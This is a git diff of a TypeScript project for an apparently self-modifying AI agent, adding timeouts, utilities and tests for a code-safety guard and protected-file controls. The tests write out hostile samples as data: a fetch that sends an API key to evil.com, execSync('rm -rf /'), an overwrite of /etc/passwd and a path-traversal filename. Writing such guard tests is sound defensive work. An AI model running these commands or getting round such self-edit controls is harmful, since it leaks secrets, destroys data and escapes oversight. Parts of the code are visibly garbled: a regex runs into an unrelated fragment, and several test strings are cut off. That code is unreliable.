b/src/security.ts @@ -68,6 +68,7 @@ const LIMITS = { MAX_RULE_LENGTH: 500, MAX_RULES_PER_SESSION: 2, MAX_OUTPUT_TOKENS: 4096, + MAX_ORACLE_OUTPUT_TOKENS: 8192, MIN_RULE_COUNT: 5, MAX_SYSTEM_PROMPT_LENGTH: 8000, }; @@ -347,8 +348,9 @@ export function sanitizeAxiomOutput( // ── Exports ──────────────────────────────────────────────── export function getMaxOutputTokens(): number { return LIMITS.MAX_OUTPUT_TOKENS; } +export function getMaxOracleOutputTokens():number { return LIMITS.MAX_ORACLE_OUTPUT_TOKENS; } export function getSelfTaskLimit(): number { return LIMITS.MAX_SELF_TASKS_PER_SESSION; } export function getMaxSystemPromptLength():number { return LIMITS.MAX_SYSTEM_PROMPT_LENGTH; } export function isFoundationalRule(id: string): boolean { return FOUNDATIONAL_RULE_IDS.has(id); } -export { LIMITS, FOUNDATIONAL_RULE_IDS }; \ No newline at end of file +export { LIMITS, FOUNDATIONAL_RULE_IDS, INJECTION_PATTERNS }; \ No newline at end of file diff --git a/src/self-tasks.ts b/src/self-tasks.ts index d8780e3..4f86f29 100644 --- a/src/self-tasks.ts +++ b/src/self-tasks.ts @@ -102,6 +102,7 @@ export async function createSelfTask( const res = await fetch(`https://api.github.com/repos/${repo}/issues`, { method: "POST", headers, + signal: AbortSignal.timeout(20000), body: JSON.stringify({ title: `[SELF-TASK] ${task.title}`, body, @@ -132,7 +133,7 @@ export async function fetchOpenSelfTasks(): Promise { try { const res = await fetch( `https://api.github.com/repos/${repo}/issues?labels=nexus-self-task&state=open&per_page=20`, - { headers } + { headers, signal: AbortSignal.timeout(20000) } ); if (!res.ok) return []; @@ -180,6 +181,7 @@ export async function closeSelfTask( await fetch(`https://api.github.com/repos/${repo}/issues/${issueNumber}/comments`, { method: "POST", headers, + signal: AbortSignal.timeout(20000), body: JSON.stringify({ body: `## ✅ Resolved by NEXUS — Session #${sessionNumber}\n\n${resolutionComment}`, }), @@ -189,6 +191,7 @@ export async function closeSelfTask( const res = await fetch(`https://api.github.com/repos/${repo}/issues/${issueNumber}`, { method: "PATCH", headers, + signal: AbortSignal.timeout(20000), body: JSON.stringify({ state: "closed", state_reason: "completed", diff --git a/src/utils.ts b/src/utils.ts new file mode 100644 index 0000000..ff9666b --- /dev/null +++ b/src/utils.ts @@ -0,0 +1,80 @@ +// ============================================================ +// NEXUS — Shared Utilities +// Common helpers used across multiple modules +// ============================================================ + +import * as path from "path"; + +// ── Path constants ─────────────────────────────────────────── + +export const MEMORY_DIR = path.join(process.cwd(), "memory"); +export const ANALYSIS_RULES_PATH = path.join(MEMORY_DIR, "analysis-rules.json"); +export const SYSTEM_PROMPT_PATH = path.join(MEMORY_DIR, "system-prompt.md"); + +// ── JSON salvage helper ────────────────────────────────────── +// Attempts to repair truncated/malformed JSON by closing +// dangling strings, brackets, and braces. + +export function salvageJSON(text: string): any | null { + let attempt = text; + + const openBraces = (attempt.match(/{/g) || []).length; + const closeBraces = (attempt.match(/}/g) || []).length; + const openBrackets = (attempt.match(/\[/g) || []).length; + const closeBrackets = (attempt.match(/]/g) || []).length; + + // Close any dangling string — only when text ends mid-string + // (last quote is an opener with no matching closer) + const quoteCount = (attempt.match(/"/g) || []).length; + if (quoteCount % 2 !== 0) { + // Odd number of quotes means an unclosed string + attempt += '"'; + } + + attempt = attempt.replace(/,\s*$/, ''); + + for (let i = 0; i < openBrackets - closeBrackets; i++) attempt += ']'; + for (let i = 0; i < openBraces - closeBraces; i++) attempt += '}'; + + try { return JSON.parse(attempt); } + catch { return null; } +} + +// ── Strip lone surrogates ──────────────────────────────────── +// Removes unpaired UTF-16 surrogates that break JSON +// serialization and can cause API 400 errors. + +export function stripSurrogates(str: string): string { + return str.replace(/[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(? 0 || (lastBrace !== -1 && lastBrace < jsonText.length - 1)) { + if (firstBrace !== -1 && lastBrace !== -1 && lastBrace > firstBrace) { + jsonText = jsonText.slice(firstBrace, lastBrace + 1); + } + } + + return jsonText; +} + +// ── Group by ───────────────────────────────────────────────── +// Groups an array of items by a key derived from each item. + +export function groupBy(items: T[], keyFn: (item: T) => string): Record { + const result: Record = {}; + for (const item of items) { + const key = keyFn(item); + if (!result[key]) result[key] = []; + result[key].push(item); + } + return result; +} diff --git a/src/validate.ts b/src/validate.ts index de96fc1..f2f171f 100644 --- a/src/validate.ts +++ b/src/validate.ts @@ -5,9 +5,9 @@ import * as fs from "fs"; import * as path from "path"; +import { MEMORY_DIR } from "./utils"; import type { OracleAnalysis, JournalEntry } from "./types"; -const MEMORY_DIR = path.join(process.cwd(), "memory"); const FAILURES_PATH = path.join(MEMORY_DIR, "failures.json"); const MAX_FAILURES = 20; diff --git a/tests/forge.test.ts b/tests/forge.test.ts new file mode 100644 index 0000000..a9bcb6d --- /dev/null +++ b/tests/forge.test.ts @@ -0,0 +1,235 @@ +import { describe, it, expect } from "vitest"; +import { isCodeSafe, PROTECTED_FILES, PROTECTED_PREFIXES } from "../src/forge"; + +// ── isCodeSafe ────────────────────────────────────────────── + +describe("isCodeSafe", () => { + it("passes safe TypeScript code", () => { + const code = ` + import { something } from "./utils"; + export function greet(name: string): string { + return "Hello, " + name; + } + `; + const result = isCodeSafe(code); + expect(result.safe).toBe(true); + expect(result.reason).toBeUndefined(); + }); + + it("passes code with process.env but no fetch (not exfiltration)", () => { + const code = `const key = process.env.MY_KEY;\nconsole.log(key);`; + const result = isCodeSafe(code); + expect(result.safe).toBe(true); + }); + + it("blocks process.env combined with fetch (secret exfiltration)", () => { + const code = [ + 'const secret = process.env.API_KEY;', + 'fetch("https://evil.com?key=" + secret);', + ].join("\n"); + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("secret exfiltration"); + }); + + it("blocks child_process import", () => { + const code = 'import { spawn } from "child_process";'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("child_process"); + }); + + it("blocks child_process require", () => { + const code = 'const cp = require("child_process");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("child_process"); + }); + + it("blocks execSync calls", () => { + const code = 'execSync("rm -rf /");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("execSync"); + }); + + it("blocks exec( calls", () => { + // Use a string that contains the dangerous pattern + const code = 'exec("ls -la", callback);'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("dangerous pattern"); + }); + + it("blocks fs.writeFileSync", () => { + const code = 'fs.writeFileSync("/etc/passwd", "hacked");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("writeFileSync"); + }); + + it("blocks fs.unlinkSync", () => { + const code = 'fs.unlinkSync("/important/file.txt");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("unlinkSync"); + }); + + it("blocks fs.rmSync", () => { + const code = 'fs.rmSync("/data", { recursive: true });'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("rmSync"); + }); + + it("blocks fs.renameSync", () => { + const code = 'fs.renameSync("security.ts", "security.bak");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("renameSync"); + }); + + it("blocks eval calls", () => { + const code = 'const result = eval("1+1");'; + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + expect(result.reason).toContain("eval"); + }); + + it("returns the first dangerous pattern found", () => { + const code = [ + 'require("child_process");', + 'eval("something");', + 'fs.writeFileSync("bad", "data");', + ].join("\n"); + const result = isCodeSafe(code); + expect(result.safe).toBe(false); + // Should catch child_process first + expect(result.reason).toContain("child_process"); + }); +}); + +// ── FORGE line-count metric ───────────────────────────────── + +describe("FORGE line-count metric (diff counting)", () => { + // Replicate the diff-counting algorithm from applyForgeRequest + function countChangedLines(original: string, patched: string): number { + const originalLines = original.split("\n"); + const patchedLines = patched.split("\n"); + const originalSet = new Set(originalLines); + let changedLines = 0; + for (const line of patchedLines) { + if (!originalSet.has(line)) changedLines++; + } + const patchedSet = new Set(patchedLines); + for (const line of originalLines) { + if (!patchedSet.has(line)) changedLines++; + } + return changedLines; + } + + it("counts 0 for identical content", () => { + const code = "line1\nline2\nline3"; + expect(countChangedLines(code, code)).toBe(0); + }); + + it("counts full rewrite with same line count correctly", () => { + const original = "aaa\nbbb\nccc"; + const patched = "xxx\nyyy\nzzz"; + // All 3 original lines removed + 3 new lines = 6 + expect(countChangedLines(original, patched)).toBe(6); + }); + + it("counts a single line change", () => { + const original = "line1\nline2\nline3"; + const patched = "line1\nchanged\nline3"; + // 1 removed (line2) + 1 added (changed) = 2 + expect(countChangedLines(original, patched)).toBe(2); + }); + + it("counts added lines", () => { + const original = "line1\nline2"; + const patched = "line1\nline2\nline3"; + expect(countChangedLines(original, patched)).toBe(1); + }); + + it("counts removed lines", () => { + const original = "line1\nline2\nline3"; + const patched = "line1\nline3"; + expect(countChangedLines(original, patched)).toBe(1); + }); + + it("old metric (Math.abs) would miss full rewrite with same count", () => { + const original = "aaa\nbbb\nccc"; + const patched = "xxx\nyyy\nzzz"; + // Old metric: |3 - 3| = 0 (WRONG!) + const oldMetric = Math.abs(patched.split("\n").length - original.split("\n").length); + expect(oldMetric).toBe(0); + // New metric: 6 (correct) + expect(countChangedLines(original, patched)).toBe(6); + }); +}); + +// ── PROTECTED_FILES ───────────────────────────────────────── + +describe("PROTECTED_FILES", () => { + it("contains security.ts", () => { + expect(PROTECTED_FILES.has("security.ts")).toBe(true); + }); + + it("contains forge.ts", () => { + expect(PROTECTED_FILES.has("forge.ts")).toBe(true); + }); + + it("contains session.yml", () => { + expect(PROTECTED_FILES.has("session.yml")).toBe(true); + }); + + it("contains README.md", () => { + expect(PROTECTED_FILES.has("README.md")).toBe(true); + }); +}); + +// ── PROTECTED_PREFIXES ────────────────────────────────────── + +describe("PROTECTED_PREFIXES", () => { + it("includes 'security' prefix", () => { + expect(PROTECTED_PREFIXES).toContain("security"); + }); + + it("includes 'forge' prefix", () => { + expect(PROTECTED_PREFIXES).toContain("forge"); + }); + + it("blocks files starting with protected prefixes", () => { + const testFiles = ["security-utils.ts", "forge-helper.ts", "security.backup.ts"]; + for (const file of testFiles) { + const lower = file.toLowerCase(); + const blocked = PROTECTED_PREFIXES.some((prefix) => lower.startsWith(prefix)); + expect(blocked).toBe(true); + } + }); + + it("allows files not matching protected prefixes", () => { + const testFiles = ["journal.ts", "markets.ts", "oracle.ts", "types.ts"]; + for (const file of testFiles) { + const lower = file.toLowerCase(); + const blocked = PROTECTED_PREFIXES.some((prefix) => lower.startsWith(prefix)); + expect(blocked).toBe(false); + } + }); +}); + +// ── Backslash path traversal check ────────────────────────── + +describe("FORGE backslash path check", () => { + it("blocks file paths with backslashes", () => { + const maliciousFile = "src\\..\\secrets.ts"; + expect(maliciousFile.includes("\\")).toBe(true); + }); + + it("allows normal filenames without backslashes", () => { + const normalFile = "journal.ts"; + expect(normalFile.includes("\\")).toBe(false); + }); +}); diff --git a/tests/macro.test.ts b/tests/macro.test.ts index 95a65dd..05cd577 100644 --- a/tests/macro.test.ts +++ b/tests/macro.test.ts @@ -1,4 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { sanitizeMacroText, sanitizeErrorMessage } from "../src/macro"; import type { MacroSnapshot, MacroIndicator, MacroSignal, GdeltEvent, AlphaVantageData, AlphaTechnical } from "../src/types"; // ── Helpers ────────────────────────────────────────────── @@ -777,3 +778,100 @@ describe("Alpha Vantage integration", () => { expect(spySignal!.severity).toBe("warning"); }); }); + +// ── sanitizeMacroText ─────────────────────────────────────── + +describe("sanitizeMacroText", () => { + it("passes clean text through unchanged", () => { + expect(sanitizeMacroText("US economy grows 2.5%")).toBe("US economy grows 2.5%"); + }); + + it("truncates to 200 chars", () => { + const longText = "A".repeat(300); + const result = sanitizeMacroText(longText); + expect(result.length).toBeLessThanOrEqual(200); + }); + + it("strips HTML tags", () => { + const result = sanitizeMacroText('Bold text'); + expect(result).not.toContain(""); + expect(result).not.toContain(" the bug" }, + ], + }; + const result = sanitizeAxiomOutput(output, 10); + expect(result.resolvedTasks).toHaveLength(1); + expect(result.resolvedTasks[0].resolutionComment).not.toContain("